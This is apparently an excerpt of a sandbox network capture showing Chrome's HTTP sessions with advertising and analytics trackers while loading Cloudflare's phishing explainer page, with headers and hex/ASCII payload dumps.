2024-10-18 13:48:12 UTC	628	OUT	GET /710030.gif?pdata=d=desktop,lc=US,ref=bookingadocel.com HTTP/1.1 Host: di.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	248	IN	HTTP/1.1 451 unknown Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 13:48:12 GMT Content-Length: 44 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:13 UTC	44	IN	Data Raw: 6d 75 73 74 20 62 65 20 65 78 61 63 74 6c 79 20 6f 6e 65 20 27 63 74 27 20 61 6e 64 20 27 63 76 27 20 70 61 72 61 6d 65 74 65 72 0a Data Ascii: must be exactly one 'ct' and 'cv' parameter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50797	35.244.174.68	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	584	OUT	GET /464526.gif HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	248	IN	HTTP/1.1 451 unknown Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 18 Oct 2024 13:48:13 GMT Content-Length: 44 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:13 UTC	44	IN	Data Raw: 6d 75 73 74 20 62 65 20 65 78 61 63 74 6c 79 20 6f 6e 65 20 27 63 74 27 20 61 6e 64 20 27 63 76 27 20 70 61 72 61 6d 65 74 65 72 0a Data Ascii: must be exactly one 'ct' and 'cv' parameter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50796	34.96.71.22	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	698	OUT	GET /s/sync?exc=lr HTTP/1.1 Host: s.company-target.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	604	IN	HTTP/1.1 200 OK Access-Control-Allow-Methods: GET,OPTIONS Content-Type: text/html; charset=UTF-8 Set-Cookie: tuuid=18ee9fe9-01ca-43a0-b773-2c99f76388ad; Path=/; Domain=company-target.com; Max-Age=63072000; HttpOnly; Secure; SameSite=None Set-Cookie: tuuid_lu=1729259293\|ix:0\|mctv:0\|rp:0; Path=/; Domain=company-target.com; Max-Age=63072000; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Fri, 18 Oct 2024 13:48:13 GMT Content-Length: 634 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-18 13:48:13 UTC	634	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 31 38 26 61 6d 70 3b 65 78 70 69 72 79 3d 31 37 34 34 39 38 34 30 39 33 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 31 38 65 65 39 66 65 39 2d 30 31 63 61 2d 34 33 61 30 2d 62 37 37 33 2d 32 63 39 39 66 37 36 33 38 38 61 64 22 20 61 6c 74 3d 22 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 20 61 72 69 61 2d 68 Data Ascii: <html><head><title>Pixels</title></head><body><img src="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad" alt="" width="0" height="0" style="display:none", aria-h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50801	104.198.23.205	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	684	OUT	OPTIONS /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Cu&u=df8b95ce-b2a8-4691-b1e1-66fcda5aceb7&is=1 HTTP/1.1 Host: r.logr-ingest.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-logrocket-relay-version Origin: https://www.cloudflare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	580	IN	HTTP/1.1 204 No Content Date: Fri, 18 Oct 2024 13:48:13 GMT Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,X-Csrftoken,If-Modified-Since,Cache-Control,Content-Type,Authorization,Accept,Origin,X-Logrocket-Url,X-Logrocket-Ignore,X-Logrocket-Secret,X-LogRocket-Relay-Version Access-Control-Max-Age: 1728000 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50808	162.159.140.229	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	944	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	882	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:13 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close perf: 7402827104 Set-Cookie: muc_ads=8cd764c7-7833-4da8-9b2a-46bfe1e25b2c; Max-Age=63072000; Expires=Sun, 18 Oct 2026 13:48:13 GMT; Path=/; Domain=t.co; Secure; SameSite=None Cache-Control: no-cache, no-store, max-age=0 x-transaction-id: 62b3e2e462a3c1fa strict-transport-security: max-age=0 x-response-time: 77 x-connection-hash: e708ba1790b3cd126345ee209d3a9ff77fa425eb38edc448fa5ae155b7e2d86f CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=ReusBGjPHI25LbWkYwOut4EROcDwr4.lGKnuIguPaKw-1729259293-1.0.1.1-szmaUP_y_WTN54y.laJwqGRNSytE6lePB_5v9bwWuyIdmgo6AACjG319ItFdK1AMY8yfNq2YqfPF3siBHPsb_w; path=/; expires=Fri, 18-Oct-24 14:18:13 GMT; domain=.t.co; HttpOnly; Secure; SameSite=None Server: cloudflare tsa_b CF-RAY: 8d48fc173e6ae72e-DFW
2024-10-18 13:48:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50794	18.66.102.75	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	832	OUT	POST /api/v3/ip.json?referrer=https%3A%2F%2Fbookingadocel.com%2F&page=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&page_title=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare HTTP/1.1 Host: api.company-target.com Connection: keep-alive Content-Length: 63 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	63	OUT	Data Raw: 7b 22 73 72 63 22 3a 22 74 61 67 22 2c 22 61 75 74 68 22 3a 22 35 4f 38 52 30 6d 35 77 50 71 6f 72 75 52 4e 54 78 44 41 47 62 79 66 61 68 62 4f 44 66 34 4b 56 72 6a 67 46 58 54 6d 31 22 7d Data Ascii: {"src":"tag","auth":"5O8R0m5wPqoruRNTxDAGbyfahbODf4KVrjgFXTm1"}
2024-10-18 13:48:13 UTC	1032	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=utf-8 Content-Length: 467 Connection: close Date: Fri, 18 Oct 2024 13:48:13 GMT Request-ID: f3c2d769-7698-48ea-8096-cc37958d1582 Server: nginx Access-Control-Allow-Origin: https://www.cloudflare.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: x-amz-cf-id Access-Control-Max-Age: 7200 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Api-Version: v3 Identification-Source: CENTRAL Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Thu, 17 Oct 2024 13:48:13 GMT Vary: Accept-Encoding, Origin X-Cache: Miss from cloudfront Via: 1.1 03ffca0f67e3596b9a0c92342fe91598.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: twqkbrkq8cJbikuKufjQSsYUM1QuSpMqCAhQmWdcTqeAWOXLBmrNWA==
2024-10-18 13:48:13 UTC	467	IN	Data Raw: 7b 22 72 65 67 69 6f 6e 5f 6e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 73 74 72 79 5f 64 6d 61 5f 63 6f 64 65 22 3a 36 32 33 2c 22 72 65 67 69 73 74 72 79 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 6e 75 6c 6c 2c 22 72 65 67 69 73 74 72 79 5f 63 6f 6d 70 61 6e 79 5f 6e 61 6d 65 22 3a 22 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 22 72 65 67 69 73 74 72 79 5f 63 69 74 79 22 3a 22 44 61 6c 6c 61 73 22 2c 22 72 65 67 69 73 74 72 79 5f 73 74 61 74 65 22 3a 22 54 58 22 2c 22 72 65 67 69 73 74 72 79 5f 7a 69 70 5f 63 6f 64 65 22 3a 22 37 35 32 30 31 22 2c 22 72 65 67 69 73 74 72 79 5f 61 72 65 61 5f 63 6f 64 65 22 3a 6e 75 6c 6c 2c 22 72 65 67 69 73 74 72 79 5f 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 Data Ascii: {"region_name":"Texas","registry_dma_code":623,"registry_country_code3":null,"registry_company_name":"QuadraNet Enterprises LLC","registry_city":"Dallas","registry_state":"TX","registry_zip_code":"75201","registry_area_code":null,"registry_country":"Unite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50809	104.244.42.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	961	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	1051	IN	HTTP/1.1 200 OK date: Fri, 18 Oct 2024 13:48:12 GMT perf: 7402827104 server: tsa_b set-cookie: guest_id_marketing=v1%3A172925929338406937; Max-Age=63072000; Expires=Sun, 18 Oct 2026 13:48:13 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id_ads=v1%3A172925929338406937; Max-Age=63072000; Expires=Sun, 18 Oct 2026 13:48:13 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: personalization_id="v1_Qdl+bQcYxiZ2WN7o3FybmQ=="; Max-Age=63072000; Expires=Sun, 18 Oct 2026 13:48:13 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id=v1%3A172925929338406937; Max-Age=63072000; Expires=Sun, 18 Oct 2026 13:48:13 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: f1247db191274ba1 strict-transport-security: max-age=631138519 x-response-time: 85 x-connection-hash: c12a2bcac5ada9f35760d8c4de21f19a9b36ae225a60b278fe8f5d10be485cc8 connection: close
2024-10-18 13:48:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50799	63.140.62.222	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	854	OUT	POST /ee/v1/identity/acquire?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=61504324-89aa-48d1-a803-dd688e086833 HTTP/1.1 Host: adobedc.demdex.net Connection: keep-alive Content-Length: 319 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain; charset=UTF-8 Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345
2024-10-18 13:48:13 UTC	319	OUT	Data Raw: 7b 22 71 75 65 72 79 22 3a 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 66 65 74 63 68 22 3a 5b 22 45 43 49 44 22 5d 7d 7d 2c 22 6d 65 74 61 22 3a 7b 22 63 6f 6e 66 69 67 4f 76 65 72 72 69 64 65 73 22 3a 7b 22 63 6f 6d 5f 61 64 6f 62 65 5f 61 6e 61 6c 79 74 69 63 73 22 3a 7b 22 72 65 70 6f 72 74 53 75 69 74 65 73 22 3a 5b 22 63 6c 6f 75 64 66 6c 61 72 65 69 6e 63 63 6c 6f 75 64 66 6c 61 72 65 69 6e 63 6d 6b 74 73 69 74 65 2d 70 72 6f 64 22 5d 7d 7d 2c 22 74 61 72 67 65 74 22 3a 7b 22 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 7d 2c 22 73 74 61 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 2c 22 63 6f 6f 6b 69 65 73 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 7d 7d 2c 22 78 64 6d 22 3a 7b 22 69 64 65 6e 74 69 74 79 4d Data Ascii: {"query":{"identity":{"fetch":["ECID"]}},"meta":{"configOverrides":{"com_adobe_analytics":{"reportSuites":["cloudflareinccloudflareincmktsite-prod"]}},"target":{"migration":true},"state":{"domain":"cloudflare.com","cookiesEnabled":true}},"xdm":{"identityM
2024-10-18 13:48:13 UTC	799	IN	HTTP/1.1 200 OK x-request-id: 61504324-89aa-48d1-a803-dd688e086833 vary: Origin access-control-allow-origin: https://www.cloudflare.com access-control-allow-credentials: true access-control-expose-headers: Retry-After, X-Adobe-Edge, X-Request-ID date: Fri, 18 Oct 2024 13:48:13 GMT x-konductor: 24.10.33:d373bbfda x-adobe-edge: IRL1;6 server: jag set-cookie: demdex=64977079024833184161452952043619543345; Max-Age=15552000; Domain=demdex.net; Path=/; Secure; SameSite=None; $x-enc=URI_ENCODING content-type: application/json;charset=utf-8 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-10-18 13:48:13 UTC	738	IN	Data Raw: 32 64 62 0d 0a 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 36 31 35 30 34 33 32 34 2d 38 39 61 61 2d 34 38 64 31 2d 61 38 30 33 2d 64 64 36 38 38 65 30 38 36 38 33 33 22 2c 22 68 61 6e 64 6c 65 22 3a 5b 7b 22 70 61 79 6c 6f 61 64 22 3a 5b 7b 22 69 64 22 3a 22 35 39 30 32 38 35 37 32 36 31 35 35 35 34 35 36 31 37 30 32 33 30 30 39 38 32 37 36 30 35 34 33 38 36 30 34 39 31 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 7b 22 63 6f 64 65 22 3a 22 45 43 49 44 22 7d 7d 5d 2c 22 74 79 70 65 22 3a 22 69 64 65 6e 74 69 74 79 3a 72 65 73 75 6c 74 22 7d 2c 7b 22 70 61 79 6c 6f 61 64 22 3a 5b 7b 22 73 63 6f 70 65 22 3a 22 54 61 72 67 65 74 22 2c 22 68 69 6e 74 22 3a 22 33 37 22 2c 22 74 74 6c 53 65 63 6f 6e 64 73 22 3a 31 38 30 30 7d 2c 7b 22 73 63 6f 70 65 22 3a 22 41 41 Data Ascii: 2db{"requestId":"61504324-89aa-48d1-a803-dd688e086833","handle":[{"payload":[{"id":"59028572615554561702300982760543860491","namespace":{"code":"ECID"}}],"type":"identity:result"},{"payload":[{"scope":"Target","hint":"37","ttlSeconds":1800},{"scope":"AA
2024-10-18 13:48:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50802	99.81.224.135	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	763	OUT	GET /dest5.html?d_nsid=0 HTTP/1.1 Host: cloudflareinc.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345
2024-10-18 13:48:13 UTC	607	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:13 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 6983 Connection: close X-TID: Gloqc/uBSB0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Accept-Ranges: bytes last-modified: Wed, 16 Oct 2024 08:52:18 GMT DCS: dcs-prod-irl1-1-v067-0237dd27c.edge-irl1.demdex.com 2 ms
2024-10-18 13:48:13 UTC	6983	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 41 64 6f 62 65 20 41 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Adobe AudienceManager</title><script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50814	150.171.27.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:13 UTC	342	OUT	GET /bat.js HTTP/1.1 Host: bat.bing.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:13 UTC	651	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=1800 Content-Length: 51385 Content-Type: application/javascript Last-Modified: Wed, 16 Oct 2024 22:47:44 GMT Accept-Ranges: bytes ETag: "028e0691d20db1:0" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 086129EC63244BE485D16C2028F64DEF Ref B: DFW30EDGE0410 Ref C: 2024-10-18T13:48:13Z Date: Fri, 18 Oct 2024 13:48:12 GMT Connection: close
2024-10-18 13:48:13 UTC	3080	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 55 45 54 28 6f 29 7b 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 30 7d 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 3d 22 62 61 74 2e 62 69 6e 67 2e 63 6f 6d 22 3b 74 68 69 73 2e 64 6f 6d 61 69 6e 43 6c 3d 22 62 61 74 2e 62 69 6e 67 2e 6e 65 74 22 3b 74 68 69 73 2e 55 52 4c 4c 45 4e 47 54 48 4c 49 4d 49 54 3d 34 30 39 36 3b 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 3d 22 70 61 67 65 4c 6f 61 64 22 3b 74 68 69 73 2e 63 75 73 74 6f 6d 45 76 74 3d 22 63 75 73 74 6f 6d 22 3b 74 68 69 73 2e 70 61 67 65 56 69 65 77 45 76 74 3d 22 70 61 67 65 5f 76 69 65 77 22 3b 6f 2e 56 65 72 3d 6f 2e 56 65 72 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 Data Ascii: function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&
